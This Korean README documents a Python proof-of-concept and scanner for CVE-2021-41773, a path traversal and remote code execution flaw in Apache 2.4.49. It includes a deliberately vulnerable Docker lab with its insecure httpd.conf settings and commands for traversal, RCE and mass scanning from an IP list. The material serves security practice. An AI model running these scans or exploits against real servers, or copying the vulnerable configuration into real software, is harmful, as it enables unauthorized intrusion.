Apache 2.4.49 - 경로 탐색 또는 원격 코드 실행

cve-2021-41773.py는 Apache 2.4.49에서 경로 탐색(Path Traversal) 또는 원격 코드 실행(Remote Code Execution) 취약점을 찾는 데 도움이 되는 파이썬 스크립트입니다. CVE-2021-41773을 실습해볼 수 있도록 취약한 Docker 인스턴스가 제공됩니다.

CGI-BIN이 활성화되어 있으면 경로 탐색은 수행할 수 없지만 원격 코드 실행은 수행할 수 있으므로, httpd.conf의 Alias 섹션 아래에 "icons" 디렉터리를 추가하여 경로 탐색 취약점을 확인할 수 있게 했습니다.

httpd.conf의 취약한 구성

1. CGI-BIN 활성화
2. Alias 섹션에 "icons" 디렉터리 추가
3. <Directory>Require all granted</Directory>

CVE-2021-41773 실습 환경

Docker 빌드

$ docker build -t cve-2021-41773 .

Docker 실행

$ docker run -it cve-2021-41773

cve-2021-41773.py 사용법

경로 탐색 및 원격 코드 실행 확인

$ python3 cve-2021-41773.py -u http://172.17.0.2

경로 탐색 PoC

$ python3 cve-2021-41773.py -u http://172.17.0.2 -pt

원격 코드 실행 PoC

$ python3 cve-2021-41773.py -u http://172.17.0.2 -rce

대량 스캔을 위해 IP가 포함된 텍스트 파일을 지정하세요:

$ python3 cve-2021-41773.py -l list.txt

$ python3 cve-2021-41773.py -l list.txt -pt

$ python3 cve-2021-41773.py -l list.txt -rce

자세한 내용은 여기에서 확인할 수 있습니다.

cve-2021-41773

인기